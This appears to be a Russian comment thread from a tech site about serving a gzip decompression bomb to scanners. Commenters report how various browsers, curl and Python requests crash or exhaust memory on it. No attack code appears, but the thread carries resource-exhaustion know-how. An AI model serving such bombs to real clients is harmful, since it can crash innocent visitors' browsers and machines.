                                                                                                                А яндекс и прочие браузеры не начнут считать сайт заражённым вирусом?
                                                                                                                • 0
                                                                                                                  Firefox 54 amd64, 1 ядро загрузилось на 100% и так было до конца загрузки, в системе было занято всего 1.7gb, эта отметка так и не сдвинулась с места.
                                                                                                                  Во время теста:
                                                                                                                  во время теста
                                                                                                                  После теста:
                                                                                                                  после теста
                                                                                                                  p.s. открыто 12 вкладок, 15 расширений.
                                                                                                                  • 0
                                                                                                                    То же самое, никаких ошибок, тормозов и прочих негативных эффектов. Просто тихо открылась в фоне.
                                                                                                                  • +5
                                                                                                                    Это же детский сад, причем младшая группа:
                                                                                                                    Ну во первых «Я сообщал эти IP их провайдерам», это просто супер) Но вряд ли большинство владельцев этих IP даже подозревают, что имеют какой-то IP адрес.
                                                                                                                    Второе, такие «закладки» будут иметь смысл только для «борьбы» с «хакерами», находящимися на том же уровне, что и админы настраивающие root по ssh с паролем «123qwe».
                                                                                                                    • +1
                                                                                                                      админы настраивающие root по ssh с паролем «123qwe».

                                                                                                                      Ну что началось нормально же общались… </sarcasm off>
                                                                                                                      • 0
                                                                                                                        я бы лучше сказал просто «админы настраивающие root по ssh с паролем»
                                                                                                                      • 0
                                                                                                                        Хм, эдж не отвалился, а вот Adguard что-то подзалип.
                                                                                                                        Заголовок спойлера
                                                                                                                        image
                                                                                                                        • 0
                                                                                                                          Наверно что то не понимаю но почему сканер должен скачать эту вашу zip бомбу
                                                                                                                          • +1
                                                                                                                            gzip в браузере используется для сжатия. Типа вместо того чтобы передавать 100 мегабайтов html странички сервер ее жмет в gzip, передает клиенту в браузер, браузер достает ее из gzip и показывает. В общем смысл в том что браузер автоматически распаковывает содержимое и пытается отобразить но т.к. распаковывать придется 10 гб то велика вероятность что браузер\программа упадет из за нехватки ОЗУ. Как то так в общем и целом.
                                                                                                                            • 0
                                                                                                                              Но ведь как мне помнится, тот же nikto, просто проверяет ошибка вернулась или нет, не залезая в сам файл.
                                                                                                                          • +7
                                                                                                                            Помню был пост о мужике который сделал «файл» типа db.backup.zip, который отдавался с мизерной скоростью, запрещал докачку, и по факту бесконечно отдавал /dev/urandom. И холодными зимними вечерами автор попивал пиво и смотрел на логи, и на то как кто-то докачивал уже 60гиг.
                                                                                                                            • 0
                                                                                                                              https://habrahabr.ru/post/272261/
                                                                                                                            • 0
                                                                                                                              Yandex-браузер, Win10, 8GB RAM + SSD. Три раза сбрасывал память, потом выдал ошибку и невозможности отобразить страницу. Ничего не подвисало и не влияло на работу остальных программ
                                                                                                                              image
                                                                                                                              • 0
                                                                                                                                Chromium под Linux загружает одно ядро в течении пяти секунд, расход памяти вырастает до 1.5Гб (С 750Мб). Через пять секунд выдает ошибку «Something went wrong while displaying this webpage».
                                                                                                                                Python-скрипт с requests.get выжирает всю доступную пямять, после чего убивается системой.
                                                                                                                                Curl без параметров просто скачивает 10Мб файл.
                                                                                                                                Curl c --compressed выжирает всю доступную память и одно ядро и честно сохраняет 10Gb файл. Около 30 сек.
                                                                                                                                Вообще, для простых сканеров уязвимостей это может действительно стать проблемой, скорее всего процесс будет убиваться системой, как в случае с python-скриптом. Но пофиксить это будет несложно.
                                                                                                                                • +1
                                                                                                                                  «Дефейс», «Скрипт-кидди» — респект за терминологию моего любимого журнала детства.
                                                                                                                                  • 0
                                                                                                                                    Дак это ж ещё с 2000 термины http://www.zdnet.com/article/script-kiddies-the-nets-cybergangs/
                                                                                                                                  • –5
                                                                                                                                    Google Chrome 59
                                                                                                                                    Перед запуском страницы явно спрашивает:
                                                                                                                                    Do you really want to execute the gzip bomb? your device may freeze up
                                                                                                                                    OK Cancel
                                                                                                                                    • +8
                                                                                                                                      Продолжайте думать, что это вам хром сказал.